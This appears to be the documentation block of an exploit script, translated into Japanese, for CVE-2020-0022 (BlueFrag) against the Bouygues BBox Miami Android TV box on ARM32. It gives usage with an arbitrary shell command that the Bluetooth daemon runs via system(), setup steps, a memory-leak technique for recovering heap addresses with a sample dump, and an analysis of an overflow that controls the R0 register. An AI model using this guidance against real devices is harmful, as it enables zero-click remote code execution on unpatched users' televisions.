
CVE-2020-0022 脆弱性の悪用(Bouygues BBox Miami、Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Bouygues BBox Miami における CVE-2020-0022 脆弱性の悪用 Android TV 8.0 - ARM32 Cortex A9 Polo35 作 - 2020/08/24
########################################################################################
"使用法: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Jan Ruge のスクリプトに基づく CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
はじめにとヒント
########################################################################################
このスクリプトは Python bluetooth モジュールを使用して ACL 接続ハンドルを取得します。 そのため、bluetooth ライブラリと pybluez のインストールが必要です(python2 ではバージョン 0.22、python3 では最新版)。
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
シェルコマンドをスクリプトのパラメータとして渡すことができ、そのコマンドは bluetooth デーモンによって system 関数で実行されます。 ROP チェーンが 2 番目のペイロードの最初の 20 バイトを占めるため、シェルコマンドに使用できるのは 104 文字のみです。
例: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
このスクリプトは adb を使用して接続を確認し、logcat を検査し、必要に応じてターゲットを再起動できます。 そのためには、パラメータとしてターゲット IP を指定する必要があります。 スクリプトを使用する前に、adb connect でターゲットに接続し、シェルを開いて接続を確認してください。
スクリプトが指示したときに、スマートフォンでターゲットに Bluetooth 接続することで最良の結果が得られます。 エクスプロイトをトリガーするには 30 回以上の試行が必要な場合もありますが、初回で成功することもあります。
########################################################################################
ARM32 でのメモリリーク
########################################################################################
Bouygues BBox Miami は ARM 32 ビット Cortex A9 プロセッサをベースとしています。 ARM64 との違いは、libc の memcpy 関数がアンダーフローしないため、Jan Ruge と同じリークを得ることが不可能な点です。 しかし、脆弱性は存在し、別の方法で悪用可能です。
4 バイトの断片化を持つ l2cap パケットを送信することで、reassemble_and_dispatch 内で長さ 0 の memcpy をトリガーできます。 これにより、エコーの末尾に 4 バイトの未初期化データを得ることができます。
最初のパケット長(以下 mem_offset と呼ぶ)を増やすことで、未初期化メモリを「歩く」ことができます。 同じ mem_offset で 32 回のエコーを取得すると、2 ~ 8 回の悪用可能なエコーが得られます。 エコーは繰り返されるため、同じ mem_offset で 32 回以上エコーを取得する必要はありません。 この方法では、パケットでメモリを埋めるため、パターンを認識し、リーク内のオフセットを見つけるのが容易です。
mem_offset は l2cap パケットの文字数です。 例: mem_offset 184 = 184 文字の l2cap パケット = 368 バイトの l2cap パケット
繰り返しを含むメモリの「歩行」と未初期化データの例:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
mem_offset 180 と 184 で、リトルエンディアンのメモリアドレスが見られます。
a4ce80a3 はアドレス 0xa380cea4 24d280a3 はアドレス 0xa380d224 a4d580a3 はアドレス 0xa380d5a4 9cce80a3 はアドレス 0xa380ce9c 1cd280a3 はアドレス 0xa380d21c 9cd580a3 はアドレス 0xa380d59c
ほぼすべての再起動後に実際のメモリアドレスを見つけられる mem_offset が少なくとも 4 ~ 5 つ存在します。 それらをどのように使用するかは後述します。
########################################################################################
最初のクラッシュの解析
########################################################################################
2 バイトの断片化を持つ l2cap パケットを送信することで、reassemble_and_dispatch 内で長さ -2 の memcpy をトリガーできます。 これにより、2 番目のパケットからの 30 バイトの制御されたデータで、部分パケットの外側にオーバーフローできます。 30 バイトがコピーされるため、最後の 4 バイトを null にした 32 バイトより大きなパケットを送信する必要はありません。
このオーバーフロー方法は、_Z11list_appendP6list_tPv+65 で制御された R0 レジスタを持つ bluetooth デーモンをクラッシュさせることがあります。